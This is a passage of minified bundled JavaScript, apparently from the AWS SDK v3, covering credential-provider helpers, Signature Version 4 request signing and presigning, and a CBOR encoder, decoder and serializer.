Y;if(q&&!q(Y))return H=!0,Y;if(K(Y))return await J(),Y;return Y}};lP5.CredentialsProviderError=ri1;lP5.ProviderError=YOA;lP5.TokenProviderError=oi1;lP5.chain=pP5;lP5.fromStatic=dP5;lP5.memoize=cP5});var fV=v((qV5)=>{var ai1={warningEmitted:!1},tP5=(A)=>{if(A&&!ai1.warningEmitted&&parseInt(A.substring(1,A.indexOf(".")))<18)ai1.warningEmitted=!0,process.emitWarning(`NodeDeprecationWarning: The AWS SDK for JavaScript (v3) will no longer support Node.js 16.x on January 6, 2025. To continue receiving updates to AWS services, bug fixes, and security updates please upgrade to a supported Node.js LTS version. More information can be found at: https://a.co/74kJMmI`)};function eP5(A,K,q){if(!A.$source)A.$source={};return A.$source[K]=q,A}function AV5(A,K,q){if(!A.__aws_sdk_context)A.__aws_sdk_context={features:{}};else if(!A.__aws_sdk_context.features)A.__aws_sdk_context.features={};A.__aws_sdk_context.features[K]=q}function KV5(A,K,q){if(!A.$source)A.$source={};return A.$source[K]=q,A}qV5.emitWarningIfUnsupportedVersion=tP5;qV5.setCredentialFeature=eP5;qV5.setFeature=AV5;qV5.setTokenFeature=KV5;qV5.state=ai1});var VF8=v(($V5)=>{var PF8={},si1={};for(let A=0;A<256;A++){let K=A.toString(16).toLowerCase();if(K.length===1)K=`0${K}`;PF8[A]=K,si1[K]=A}function OV5(A){if(A.length%2!==0)throw Error("Hex encoded strings must have an even number length");let K=new Uint8Array(A.length/2);for(let q=0;q<A.length;q+=2){let Y=A.slice(q,q+2).toLowerCase();if(Y in si1)K[q/2]=si1[Y];else throw Error(`Cannot decode unrecognized sequence ${Y} as hexadecimal`)}return K}function XV5(A){let K="";for(let q=0;q<A.byteLength;q++)K+=PF8[A[q]];return K}$V5.fromHex=OV5;$V5.toHex=XV5});var fF8=v((WV5)=>{var ZV5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";WV5.isArrayBuffer=ZV5});var TF8=v((PV5)=>{var NF8=(A)=>encodeURIComponent(A).replace(/[!'()*]/g,jV5),jV5=(A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,MV5=(A)=>A.split("/").map(NF8).join("/");PV5.escapeUri=NF8;PV5.escapeUriPath=MV5});var On1=v((SV5)=>{var ri=VF8(),r6A=_z(),NV5=fF8(),CF8=h61(),vF8=WD(),b61=TF8(),LF8="X-Amz-Algorithm",RF8="X-Amz-Credential",An1="X-Amz-Date",yF8="X-Amz-SignedHeaders",IF8="X-Amz-Expires",Kn1="X-Amz-Signature",qn1="X-Amz-Security-Token",TV5="X-Amz-Region-Set",Yn1="authorization",zn1=An1.toLowerCase(),SF8="date",hF8=[Yn1,zn1,SF8],bF8=Kn1.toLowerCase(),g61="x-amz-content-sha256",xF8=qn1.toLowerCase(),vV5="host",uF8={authorization:!0,"cache-control":!0,connection:!0,expect:!0,from:!0,"keep-alive":!0,"max-forwards":!0,pragma:!0,referer:!0,te:!0,trailer:!0,"transfer-encoding":!0,upgrade:!0,"user-agent":!0,"x-amzn-trace-id":!0},BF8=/^proxy-/,mF8=/^sec-/,EV5=[/^proxy-/i,/^sec-/i],x61="AWS4-HMAC-SHA256",kV5="AWS4-ECDSA-P256-SHA256",gF8="AWS4-HMAC-SHA256-PAYLOAD",FF8="UNSIGNED-PAYLOAD",QF8=50,wn1="aws4_request",UF8=604800,zOA={},u61=[],B61=(A,K,q)=>`${A}/${K}/${q}/${wn1}`,pF8=async(A,K,q,Y,z)=>{let w=await EF8(A,K.secretAccessKey,K.accessKeyId),H=`${q}:${Y}:${z}:${ri.toHex(w)}:${K.sessionToken}`;if(H in zOA)return zOA[H];u61.push(H);while(u61.length>QF8)delete zOA[u61.shift()];let J=`AWS4${K.secretAccessKey}`;for(let O of[q,Y,z,wn1])J=await EF8(A,J,O);return zOA[H]=J},CV5=()=>{u61.length=0,Object.keys(zOA).forEach((A)=>{delete zOA[A]})},EF8=(A,K,q)=>{let Y=new A(K);return Y.update(r6A.toUint8Array(q)),Y.digest()},ti1=({headers:A},K,q)=>{let Y={};for(let z of Object.keys(A).sort()){if(A[z]==null)continue;let w=z.toLowerCase();if(w in uF8||K?.has(w)||BF8.test(w)||mF8.test(w)){if(!q||q&&!q.has(w))continue}Y[w]=A[z].trim().replace(/\s+/g," ")}return Y},m61=async({headers:A,body:K},q)=>{for(let Y of Object.keys(A))if(Y.toLowerCase()===g61)return A[Y];if(K==null)return"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855";else if(typeof K==="string"||ArrayBuffer.isView(K)||NV5.isArrayBuffer(K)){let Y=new q;return Y.update(r6A.toUint8Array(K)),ri.toHex(await Y.digest())}return FF8};class dF8{format(A){let K=[];for(let z of Object.keys(A)){let w=r6A.fromUtf8(z);K.push(Uint8Array.from([w.byteLength]),w,this.formatHeaderValue(A[z]))}let q=new Uint8Array(K.reduce((z,w)=>z+w.byteLength,0)),Y=0;for(let z of K)q.set(z,Y),Y+=z.byteLength;return q}formatHeaderValue(A){switch(A.type){case"boolean":return Uint8Array.from([A.value?0:1]);case"byte":return Uint8Array.from([2,A.value]);case"short":let K=new DataView(new ArrayBuffer(3));return K.setUint8(0,3),K.setInt16(1,A.value,!1),new Uint8Array(K.buffer);case"integer":let q=new DataView(new ArrayBuffer(5));return q.setUint8(0,4),q.setInt32(1,A.value,!1),new Uint8Array(q.buffer);case"long":let Y=new Uint8Array(9);return Y[0]=5,Y.set(A.value.bytes,1),Y;case"binary":let z=new DataView(new ArrayBuffer(3+A.value.byteLength));z.setUint8(0,6),z.setUint16(1,A.value.byteLength,!1);let w=new Uint8Array(z.buffer);return w.set(A.value,3),w;case"string":let H=r6A.fromUtf8(A.value),J=new DataView(new ArrayBuffer(3+H.byteLength));J.setUint8(0,7),J.setUint16(1,H.byteLength,!1);let O=new Uint8Array(J.buffer);return O.set(H,3),O;case"timestamp":let X=new Uint8Array(9);return X[0]=8,X.set(Hn1.fromNumber(A.value.valueOf()).bytes,1),X;case"uuid":if(!LV5.test(A.value))throw Error(`Invalid UUID received: ${A.value}`);let $=new Uint8Array(17);return $[0]=9,$.set(ri.fromHex(A.value.replace(/\-/g,"")),1),$}}}var LV5=/^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$/;class Hn1{bytes;constructor(A){if(this.bytes=A,A.byteLength!==8)throw Error("Int64 buffers must be exactly 8 bytes")}static fromNumber(A){if(A>9223372036854776000||A<-9223372036854776000)throw Error(`${A} is too large (or, if negative, too small) to represent as an Int64`);let K=new Uint8Array(8);for(let q=7,Y=Math.abs(Math.round(A));q>-1&&Y>0;q--,Y/=256)K[q]=Y;if(A<0)kF8(K);return new Hn1(K)}valueOf(){let A=this.bytes.slice(0),K=A[0]&128;if(K)kF8(A);return parseInt(ri.toHex(A),16)*(K?-1:1)}toString(){return String(this.valueOf())}}function kF8(A){for(let K=0;K<8;K++)A[K]^=255;for(let K=7;K>-1;K--)if(A[K]++,A[K]!==0)break}var cF8=(A,K)=>{A=A.toLowerCase();for(let q of Object.keys(K))if(A===q.toLowerCase())return!0;return!1},lF8=(A,K={})=>{let{headers:q,query:Y={}}=CF8.HttpRequest.clone(A);for(let z of Object.keys(q)){let w=z.toLowerCase();if(w.slice(0,6)==="x-amz-"&&!K.unhoistableHeaders?.has(w)||K.hoistableHeaders?.has(w))Y[z]=q[z],delete q[z]}return{...A,headers:q,query:Y}},ei1=(A)=>{A=CF8.HttpRequest.clone(A);for(let K of Object.keys(A.headers))if(hF8.indexOf(K.toLowerCase())>-1)delete A.headers[K];return A},iF8=({query:A={}})=>{let K=[],q={};for(let Y of Object.keys(A)){if(Y.toLowerCase()===bF8)continue;let z=b61.escapeUri(Y);K.push(z);let w=A[Y];if(typeof w==="string")q[z]=`${z}=${b61.escapeUri(w)}`;else if(Array.isArray(w))q[z]=w.slice(0).reduce((H,J)=>H.concat([`${z}=${b61.escapeUri(J)}`]),[]).sort().join("&")}return K.sort().map((Y)=>q[Y]).filter((Y)=>Y).join("&")},RV5=(A)=>yV5(A).toISOString().replace(/\.\d{3}Z$/,"Z"),yV5=(A)=>{if(typeof A==="number")return new Date(A*1000);if(typeof A==="string"){if(Number(A))return new Date(Number(A)*1000);return new Date(A)}return A};class Jn1{service;regionProvider;credentialProvider;sha256;uriEscapePath;applyChecksum;constructor({applyChecksum:A,credentials:K,region:q,service:Y,sha256:z,uriEscapePath:w=!0}){this.service=Y,this.sha256=z,this.uriEscapePath=w,this.applyChecksum=typeof A==="boolean"?A:!0,this.regionProvider=vF8.normalizeProvider(q),this.credentialProvider=vF8.normalizeProvider(K)}createCanonicalRequest(A,K,q){let Y=Object.keys(K).sort();return`${A.method} ${this.getCanonicalPath(A)} ${iF8(A)} ${Y.map((z)=>`${z}:${K[z]}`).join(` `)} ${Y.join(";")} ${q}`}async createStringToSign(A,K,q,Y){let z=new this.sha256;z.update(r6A.toUint8Array(q));let w=await z.digest();return`${Y} ${A} ${K} ${ri.toHex(w)}`}getCanonicalPath({path:A}){if(this.uriEscapePath){let K=[];for(let z of A.split("/")){if(z?.length===0)continue;if(z===".")continue;if(z==="..")K.pop();else K.push(z)}let q=`${A?.startsWith("/")?"/":""}${K.join("/")}${K.length>0&&A?.endsWith("/")?"/":""}`;return b61.escapeUri(q).replace(/%2F/g,"/")}return A}validateResolvedCredentials(A){if(typeof A!=="object"||typeof A.accessKeyId!=="string"||typeof A.secretAccessKey!=="string")throw Error("Resolved credential object is not valid")}formatDate(A){let K=RV5(A).replace(/[\-:]/g,"");return{longDate:K,shortDate:K.slice(0,8)}}getCanonicalHeaderList(A){return Object.keys(A).sort().join(";")}}class nF8 extends Jn1{headerFormatter=new dF8;constructor({applyChecksum:A,credentials:K,region:q,service:Y,sha256:z,uriEscapePath:w=!0}){super({applyChecksum:A,credentials:K,region:q,service:Y,sha256:z,uriEscapePath:w})}async presign(A,K={}){let{signingDate:q=new Date,expiresIn:Y=3600,unsignableHeaders:z,unhoistableHeaders:w,signableHeaders:H,hoistableHeaders:J,signingRegion:O,signingService:X}=K,$=await this.credentialProvider();this.validateResolvedCredentials($);let _=O??await this.regionProvider(),{longDate:G,shortDate:Z}=this.formatDate(q);if(Y>UF8)return Promise.reject("Signature version 4 presigned URLs must have an expiration date less than one week in the future");let W=B61(Z,_,X??this.service),D=lF8(ei1(A),{unhoistableHeaders:w,hoistableHeaders:J});if($.sessionToken)D.query[qn1]=$.sessionToken;D.query[LF8]=x61,D.query[RF8]=`${$.accessKeyId}/${W}`,D.query[An1]=G,D.query[IF8]=Y.toString(10);let j=ti1(D,z,H);return D.query[yF8]=this.getCanonicalHeaderList(j),D.query[Kn1]=await this.getSignature(G,W,this.getSigningKey($,_,Z,X),this.createCanonicalRequest(D,j,await m61(A,this.sha256))),D}async sign(A,K){if(typeof A==="string")return this.signString(A,K);else if(A.headers&&A.payload)return this.signEvent(A,K);else if(A.message)return this.signMessage(A,K);else return this.signRequest(A,K)}async signEvent({headers:A,payload:K},{signingDate:q=new Date,priorSignature:Y,signingRegion:z,signingService:w}){let H=z??await this.regionProvider(),{shortDate:J,longDate:O}=this.formatDate(q),X=B61(J,H,w??this.service),$=await m61({headers:{},body:K},this.sha256),_=new this.sha256;_.update(A);let G=ri.toHex(await _.digest()),Z=[gF8,O,X,Y,G,$].join(` `);return this.signString(Z,{signingDate:q,signingRegion:H,signingService:w})}async signMessage(A,{signingDate:K=new Date,signingRegion:q,signingService:Y}){return this.signEvent({headers:this.headerFormatter.format(A.message.headers),payload:A.message.body},{signingDate:K,signingRegion:q,signingService:Y,priorSignature:A.priorSignature}).then((w)=>{return{message:A.message,signature:w}})}async signString(A,{signingDate:K=new Date,signingRegion:q,signingService:Y}={}){let z=await this.credentialProvider();this.validateResolvedCredentials(z);let w=q??await this.regionProvider(),{shortDate:H}=this.formatDate(K),J=new this.sha256(await this.getSigningKey(z,w,H,Y));return J.update(r6A.toUint8Array(A)),ri.toHex(await J.digest())}async signRequest(A,{signingDate:K=new Date,signableHeaders:q,unsignableHeaders:Y,signingRegion:z,signingService:w}={}){let H=await this.credentialProvider();this.validateResolvedCredentials(H);let J=z??await this.regionProvider(),O=ei1(A),{longDate:X,shortDate:$}=this.formatDate(K),_=B61($,J,w??this.service);if(O.headers[zn1]=X,H.sessionToken)O.headers[xF8]=H.sessionToken;let G=await m61(O,this.sha256);if(!cF8(g61,O.headers)&&this.applyChecksum)O.headers[g61]=G;let Z=ti1(O,Y,q),W=await this.getSignature(X,_,this.getSigningKey(H,J,$,w),this.createCanonicalRequest(O,Z,G));return O.headers[Yn1]=`${x61} Credential=${H.accessKeyId}/${_}, SignedHeaders=${this.getCanonicalHeaderList(Z)}, Signature=${W}`,O}async getSignature(A,K,q,Y){let z=await this.createStringToSign(A,K,Y,x61),w=new this.sha256(await q);return w.update(r6A.toUint8Array(z)),ri.toHex(await w.digest())}getSigningKey(A,K,q,Y){return pF8(this.sha256,A,q,K,Y||this.service)}}var IV5={SignatureV4a:null};SV5.ALGORITHM_IDENTIFIER=x61;SV5.ALGORITHM_IDENTIFIER_V4A=kV5;SV5.ALGORITHM_QUERY_PARAM=LF8;SV5.ALWAYS_UNSIGNABLE_HEADERS=uF8;SV5.AMZ_DATE_HEADER=zn1;SV5.AMZ_DATE_QUERY_PARAM=An1;SV5.AUTH_HEADER=Yn1;SV5.CREDENTIAL_QUERY_PARAM=RF8;SV5.DATE_HEADER=SF8;SV5.EVENT_ALGORITHM_IDENTIFIER=gF8;SV5.EXPIRES_QUERY_PARAM=IF8;SV5.GENERATED_HEADERS=hF8;SV5.HOST_HEADER=vV5;SV5.KEY_TYPE_IDENTIFIER=wn1;SV5.MAX_CACHE_SIZE=QF8;SV5.MAX_PRESIGNED_TTL=UF8;SV5.PROXY_HEADER_PATTERN=BF8;SV5.REGION_SET_PARAM=TV5;SV5.SEC_HEADER_PATTERN=mF8;SV5.SHA256_HEADER=g61;SV5.SIGNATURE_HEADER=bF8;SV5.SIGNATURE_QUERY_PARAM=Kn1;SV5.SIGNED_HEADERS_QUERY_PARAM=yF8;SV5.SignatureV4=nF8;SV5.SignatureV4Base=Jn1;SV5.TOKEN_HEADER=xF8;SV5.TOKEN_QUERY_PARAM=qn1;SV5.UNSIGNABLE_PATTERNS=EV5;SV5.UNSIGNED_PAYLOAD=FF8;SV5.clearCredentialCache=CV5;SV5.createScope=B61;SV5.getCanonicalHeaders=ti1;SV5.getCanonicalQuery=iF8;SV5.getPayloadHash=m61;SV5.getSigningKey=pF8;SV5.hasHeader=cF8;SV5.moveHeadersToQuery=lF8;SV5.prepareRequest=ei1;SV5.signatureV4aContainer=IV5});var oF8=v((Pf5)=>{var rF8=typeof TextEncoder=="function"?new TextEncoder:null,Mf5=(A)=>{if(typeof A==="string"){if(rF8)return rF8.encode(A).byteLength;let K=A.length;for(let q=K-1;q>=0;q--){let Y=A.charCodeAt(q);if(Y>127&&Y<=2047)K++;else if(Y>2047&&Y<=65535)K+=2;if(Y>=56320&&Y<=57343)q--}return K}else if(typeof A.byteLength==="number")return A.byteLength;else if(typeof A.size==="number")return A.size;throw Error(`Body Length computation failed for ${A}`)};Pf5.calculateBodyLength=Mf5});var Tn1=v((pf5)=>{var d61=PV(),eF8=_z(),BCA=VV(),ff5=DCA(),Nf5=oF8(),wOA=DJ(),Tf5=WD(),AQ8=ji1(),U61=0,p61=1,o6A=2,oi=3,uCA=4,F61=5,KQ8=6,Xn1=7,qQ8=20,Gn1=21,YQ8=22,vf5=23,Wn1=24,a6A=25,s6A=26,ai=27,Dn1=31;function HOA(A){return typeof Buffer<"u"?Buffer.alloc(A):new Uint8Array(A)}var jn1=Symbol("@smithy/core/cbor::tagSymbol");function Mn1(A){return A[jn1]=!0,A}var Ef5=typeof TextDecoder<"u",kf5=typeof Buffer<"u",pz=HOA(0),lF=new DataView(pz.buffer,pz.byteOffset,pz.byteLength),aF8=Ef5?new TextDecoder:null,D9=0;function Cf5(A){pz=A,lF=new DataView(pz.buffer,pz.byteOffset,pz.byteLength)}function iF(A,K){if(A>=K)throw Error("unexpected end of (decode) payload.");let q=(pz[A]&224)>>5,Y=pz[A]&31;switch(q){case U61:case p61:case KQ8:let z,w;if(Y<24)z=Y,w=1;else switch(Y){case Wn1:case a6A:case s6A:case ai:let H=wQ8[Y],J=H+1;if(w=J,K-A<J)throw Error(`countLength ${H} greater than remaining buf len.`);let O=A+1;if(H===1)z=pz[O];else if(H===2)z=lF.getUint16(O);else if(H===4)z=lF.getUint32(O);else z=lF.getBigUint64(O);break;default:throw Error(`unexpected minor value ${Y}.`)}if(q===U61)return D9=w,$n1(z);else if(q===p61){let H;if(typeof z==="bigint")H=BigInt(-1)-z;else H=-1-z;return D9=w,$n1(H)}else if(Y===2||Y===3){let H=mCA(A+w,K),J=BigInt(0),O=A+w+D9;for(let X=O;X<O+H;++X)J=J<<BigInt(8)|BigInt(pz[X]);return D9=w+D9+H,Y===3?-J-BigInt(1):J}else if(Y===4){let H=iF(A+w,K),[J,O]=H,X=O<0?-1:1,$="0".repeat(Math.abs(J)+1)+String(BigInt(X)*BigInt(O)),_,G=O<0?"-":"";if(_=J===0?$:$.slice(0,$.length+J)+"."+$.slice(J),_=_.replace(/^0+/g,""),_==="")_="0";if(_[0]===".")_="0"+_;return _=G+_,D9=w+D9,d61.nv(_)}else{let H=iF(A+w,K);return D9=w+D9,Mn1({tag:$n1(z),value:H})}case oi:case F61:case uCA:case o6A:if(Y===Dn1)switch(q){case oi:return If5(A,K);case F61:return uf5(A,K);case uCA:return bf5(A,K);case o6A:return Sf5(A,K)}else switch(q){case oi:return yf5(A,K);case F61:return xf5(A,K);case uCA:return hf5(A,K);case o6A:return Pn1(A,K)}default:return Bf5(A,K)}}function zQ8(A,K,q){if(kf5&&A.constructor?.name==="Buffer")return A.toString("utf-8",K,q);if(aF8)return aF8.decode(A.subarray(K,q));return eF8.toUtf8(A.subarray(K,q))}function Lf5(A){let K=Number(A);if(K<Number.MIN_SAFE_INTEGER||Number.MAX_SAFE_INTEGER<K)console.warn(Error(`@smithy/core/cbor - truncating BigInt(${A}) to ${K} with loss of precision.`));return K}var wQ8={[Wn1]:1,[a6A]:2,[s6A]:4,[ai]:8};function Rf5(A,K){let q=A>>7,Y=(A&124)>>2,z=(A&3)<<8|K,w=q===0?1:-1,H,J;if(Y===0)if(z===0)return 0;else H=Math.pow(2,-14),J=0;else if(Y===31)if(z===0)return w*(1/0);else return NaN;else H=Math.pow(2,Y-15),J=1;return J+=z/1024,w*(H*J)}function mCA(A,K){let q=pz[A]&31;if(q<24)return D9=1,q;if(q===Wn1||q===a6A||q===s6A||q===ai){let Y=wQ8[q];if(D9=Y+1,K-A<D9)throw Error(`countLength ${Y} greater than remaining buf len.`);let z=A+1;if(Y===1)return pz[z];else if(Y===2)return lF.getUint16(z);else if(Y===4)return lF.getUint32(z);return Lf5(lF.getBigUint64(z))}throw Error(`unexpected minor value ${q}.`)}function yf5(A,K){let q=mCA(A,K),Y=D9;if(A+=Y,K-A<q)throw Error(`string len ${q} greater than remaining buf len.`);let z=zQ8(pz,A,A+q);return D9=Y+q,z}function If5(A,K){A+=1;let q=[];for(let Y=A;A<K;){if(pz[A]===255){let O=HOA(q.length);return O.set(q,0),D9=A-Y+2,zQ8(O,0,O.length)}let z=(pz[A]&224)>>5,w=pz[A]&31;if(z!==oi)throw Error(`unexpected major type ${z} in indefinite string.`);if(w===Dn1)throw Error("nested indefinite string.");let H=Pn1(A,K);A+=D9;for(let O=0;O<H.length;++O)q.push(H[O])}throw Error("expected break marker.")}function Pn1(A,K){let q=mCA(A,K),Y=D9;if(A+=Y,K-A<q)throw Error(`unstructured byte string len ${q} greater than remaining buf len.`);let z=pz.subarray(A,A+q);return D9=Y+q,z}function Sf5(A,K){A+=1;let q=[];for(let Y=A;A<K;){if(pz[A]===255){let O=HOA(q.length);return O.set(q,0),D9=A-Y+2,O}let z=(pz[A]&224)>>5,w=pz[A]&31;if(z!==o6A)throw Error(`unexpected major type ${z} in indefinite string.`);if(w===Dn1)throw Error("nested indefinite string.");let H=Pn1(A,K);A+=D9;for(let O=0;O<H.length;++O)q.push(H[O])}throw Error("expected break marker.")}function hf5(A,K){let q=mCA(A,K),Y=D9;A+=Y;let z=A,w=Array(q);for(let H=0;H<q;++H){let J=iF(A,K),O=D9;w[H]=J,A+=O}return D9=Y+(A-z),w}function bf5(A,K){A+=1;let q=[];for(let Y=A;A<K;){if(pz[A]===255)return D9=A-Y+2,q;let z=iF(A,K);A+=D9,q.push(z)}throw Error("expected break marker.")}function xf5(A,K){let q=mCA(A,K),Y=D9;A+=Y;let z=A,w={};for(let H=0;H<q;++H){if(A>=K)throw Error("unexpected end of map payload.");let J=(pz[A]&224)>>5;if(J!==oi)throw Error(`unexpected major type ${J} for map key at index ${A}.`);let O=iF(A,K);A+=D9;let X=iF(A,K);A+=D9,w[O]=X}return D9=Y+(A-z),w}function uf5(A,K){A+=1;let q=A,Y={};for(;A<K;){if(A>=K)throw Error("unexpected end of map payload.");if(pz[A]===255)return D9=A-q+2,Y;let z=(pz[A]&224)>>5;if(z!==oi)throw Error(`unexpected major type ${z} for map key.`);let w=iF(A,K);A+=D9;let H=iF(A,K);A+=D9,Y[w]=H}throw Error("expected break marker.")}function Bf5(A,K){let q=pz[A]&31;switch(q){case Gn1:case qQ8:return D9=1,q===Gn1;case YQ8:return D9=1,null;case vf5:return D9=1,null;case a6A:if(K-A<3)throw Error("incomplete float16 at end of buf.");return D9=3,Rf5(pz[A+1],pz[A+2]);case s6A:if(K-A<5)throw Error("incomplete float32 at end of buf.");return D9=5,lF.getFloat32(A+1);case ai:if(K-A<9)throw Error("incomplete float64 at end of buf.");return D9=9,lF.getFloat64(A+1);default:throw Error(`unexpected minor value ${q}.`)}}function $n1(A){if(typeof A==="number")return A;let K=Number(A);if(Number.MIN_SAFE_INTEGER<=K&&K<=Number.MAX_SAFE_INTEGER)return K;return A}var sF8=typeof Buffer<"u",mf5=2048,X5=HOA(mf5),cF=new DataView(X5.buffer,X5.byteOffset,X5.byteLength),bK=0;function _n1(A){if(X5.byteLength-bK<A)if(bK<16000000)Zn1(Math.max(X5.byteLength*4,X5.byteLength+A));else Zn1(X5.byteLength+A+16000000)}function tF8(){let A=HOA(bK);return A.set(X5.subarray(0,bK),0),bK=0,A}function Zn1(A){let K=X5;if(X5=HOA(A),K)if(K.copy)K.copy(X5,0,0,K.byteLength);else X5.set(K,0);cF=new DataView(X5.buffer,X5.byteOffset,X5.byteLength)}function dF(A,K){if(K<24)X5[bK++]=A<<5|K;else if(K<256)X5[bK++]=A<<5|24,X5[bK++]=K;else if(K<65536)X5[bK++]=A<<5|a6A,cF.setUint16(bK,K),bK+=2;else if(K<4294967296)X5[bK++]=A<<5|s6A,cF.setUint32(bK,K),bK+=4;else X5[bK++]=A<<5|ai,cF.setBigUint64(bK,typeof K==="bigint"?K:BigInt(K)),bK+=8}function gf5(A){let K=[A];while(K.length){let q=K.pop();if(_n1(typeof q==="string"?q.length*4:64),typeof q==="string"){if(sF8)dF(oi,Buffer.byteLength(q)),bK+=X5.write(q,bK);else{let Y=eF8.fromUtf8(q);dF(oi,Y.byteLength),X5.set(Y,bK),bK+=Y.byteLength}continue}else if(typeof q==="number"){if(Number.isInteger(q)){let Y=q>=0,z=Y?U61:p61,w=Y?q:-q-1;if(w<24)X5[bK++]=z<<5|w;else if(w<256)X5[bK++]=z<<5|24,X5[bK++]=w;else if(w<65536)X5[bK++]=z<<5|a6A,X5[bK++]=w>>8,X5[bK++]=w;else if(w<4294967296)X5[bK++]=z<<5|s6A,cF.setUint32(bK,w),bK+=4;else X5[bK++]=z<<5|ai,cF.setBigUint64(bK,BigInt(w)),bK+=8;continue}X5[bK++]=Xn1<<5|ai,cF.setFloat64(bK,q),bK+=8;continue}else if(typeof q==="bigint"){let Y=q>=0,z=Y?U61:p61,w=Y?q:-q-BigInt(1),H=Number(w);if(H<24)X5[bK++]=z<<5|H;else if(H<256)X5[bK++]=z<<5|24,X5[bK++]=H;else if(H<65536)X5[bK++]=z<<5|a6A,X5[bK++]=H>>8,X5[bK++]=H&255;else if(H<4294967296)X5[bK++]=z<<5|s6A,cF.setUint32(bK,H),bK+=4;else if(w<BigInt("18446744073709551616"))X5[bK++]=z<<5|ai,cF.setBigUint64(bK,w),bK+=8;else{let J=w.toString(2),O=new Uint8Array(Math.ceil(J.length/8)),X=w,$=0;while(O.byteLength-++$>=0)O[O.byteLength-$]=Number(X&BigInt(255)),X>>=BigInt(8);if(_n1(O.byteLength*2),X5[bK++]=Y?194:195,sF8)dF(o6A,Buffer.byteLength(O));else dF(o6A,O.byteLength);X5.set(O,bK),bK+=O.byteLength}continue}else if(q===null){X5[bK++]=Xn1<<5|YQ8;continue}else if(typeof q==="boolean"){X5[bK++]=Xn1<<5|(q?Gn1:qQ8);continue}else if(typeof q>"u")throw Error("@smithy/core/cbor: client may not serialize undefined value.");else if(Array.isArray(q)){for(let Y=q.length-1;Y>=0;--Y)K.push(q[Y]);dF(uCA,q.length);continue}else if(typeof q.byteLength==="number"){_n1(q.length*2),dF(o6A,q.length),X5.set(q,bK),bK+=q.byteLength;continue}else if(typeof q==="object"){if(q instanceof d61.NumericValue){let z=q.string.indexOf("."),w=z===-1?0:z-q.string.length+1,H=BigInt(q.string.replace(".",""));X5[bK++]=196,K.push(H),K.push(w),dF(uCA,2);continue}if(q[jn1])if("tag"in q&&"value"in q){K.push(q.value),dF(KQ8,q.tag);continue}else throw Error("tag encountered with missing fields, need 'tag' and 'value', found: "+JSON.stringify(q));let Y=Object.keys(q);for(let z=Y.length-1;z>=0;--z){let w=Y[z];K.push(q[w]),K.push(w)}dF(F61,Y.length);continue}throw Error(`data type ${q?.constructor?.name??typeof q} not compatible for encoding.`)}}var c61={deserialize(A){return Cf5(A),iF(0,A.length)},serialize(A){try{return gf5(A),tF8()}catch(K){throw tF8(),K}},resizeEncodingBuffer(A){Zn1(A)}},HQ8=(A,K)=>{return BCA.collectBody(A,K).then(async(q)=>{if(q.length)try{return c61.deserialize(q)}catch(Y){throw Object.defineProperty(Y,"$responseBodyText",{value:K.utf8Encoder(q)}),Y}return{}})},Q61=(A)=>{return Mn1({tag:1,value:A.getTime()/1000})},Ff5=async(A,K)=>{let q=await HQ8(A,K);return q.message=q.message??q.Message,q},JQ8=(A,K)=>{let q=(z)=>{let w=z;if(typeof w==="number")w=w.toString();if(w.indexOf(",")>=0)w=w.split(",")[0];if(w.indexOf(":")>=0)w=w.split(":")[0];if(w.indexOf("#")>=0)w=w.split("#")[1];return w};if(K.__type!==void 0)return q(K.__type);let Y=Object.keys(K).find((z)=>z.toLowerCase()==="code");if(Y&&K[Y]!==void 0)return q(K[Y])},Qf5=(A)=>{if(String(A.headers["smithy-protocol"]).toLowerCase()!=="rpc-v2-cbor")throw Error("Malformed RPCv2 CBOR response, status: "+A.statusCode)},Uf5=async(A,K,q,Y,z)=>{let{hostname:w,protocol:H="https",port:J,path:O}=await A.endpoint(),X={protocol:H,hostname:w,port:J,method:"POST",path:O.endsWith("/")?O.slice(0,-1)+q:O+q,headers:{...K}};if(Y!==void 0)X.hostname=Y;if(z!==void 0){X.body=z;try{X.headers["content-length"]=String(Nf5.calculateBodyLength(z))}catch($){}}return new ff5.HttpRequest(X)};class Vn1 extends BCA.SerdeContext{createSerializer(){let A=new fn1;return A.setSerdeContext(this.serdeContext),A}createDeserializer(){let A=new Nn1;return A.setSerdeContext(this.serdeContext),A}}class fn1 extends BCA.SerdeContext{value;write(A,K){this.value=this.serialize(A,K)}serialize(A,K){let q=wOA.NormalizedSchema.of(A);if(K==null){if(q.isIdempotencyToken())return d61.generateIdempotencyToken();return K}if(q.isBlobSchema()){if(typeof K==="string")return(this.serdeContext?.base64Decoder??AQ8.fromBase64)(K);return K}if(q.isTimestampSchema()){if(typeof K==="number"||typeof K==="bigint")return Q61(new Date(Number(K)/1000|0));return Q61(K)}if(typeof K==="function"||typeof K==="object"){let Y=K;if(q.isListSchema()&&Array.isArray(Y)){let w=!!q.getMergedTraits().sparse,H=[],J=0;for(let O of Y){let X=this.serialize(q.getValueSchema(),O);if(X!=null||w)H[J++]=X}return H}if(Y instanceof Date)return Q61(Y);let z={};if(q.isMapSchema()){let w=!!q.getMergedTraits().sparse;for(let H of Object.keys(Y)){let J=this.serialize(q.getValueSchema(),Y[H]);if(J!=null||w)z[H]=J}}else if(q.isStructSchema())for(let[w,H]of q.structIterator()){let J=this.serialize(H,Y[w]);if(J!=null)z[w]=J}else if(q.isDocumentSchema())for(let w of Object.keys(Y))z[w]=this.serialize(q.getValueSchema(),Y[w]);return z}return K}flush(){let A=c61.serialize(this.value);return this.value=void 0,A}}class Nn1 extends BCA.SerdeContext{read(A,K){let q=c61.deserialize(K);return this.readValue(A,q)}readValue(A,K){let q=wOA.NormalizedSchema.of(A);if(q.isTimestampSchema()&&typeof K==="number")return d61._parseEpochTimestamp(K);if(q.isBlobSchema()){if(typeof K==="string")return(this.serdeContext?.base64Decoder??AQ8.fromBase64)(K);return K}if(typeof K>"u"||typeof K==="boolean"||typeof K==="number"||typeof K==="string"||typeof K==="bigint"||typeof K==="symbol")return K;else if(typeof K==="function"||typeof K==="object"){if(K===null)return null;if("byteLength"in K)return K;if(K instanceof Date)return K;if(q.isDocumentSchema())return K;if(q.isListSchema()){let z=[],w=q.getValueSchema(),H=!!q.getMergedTraits().sparse;for(let J of K){let O=this.readValue(w,J);if(O!=null||H)z.push(O)}return z}let Y={};if(q.isMapSchema()){let z=!!q.getMergedTraits().sparse,w=q.getValueSchema();for(let H of 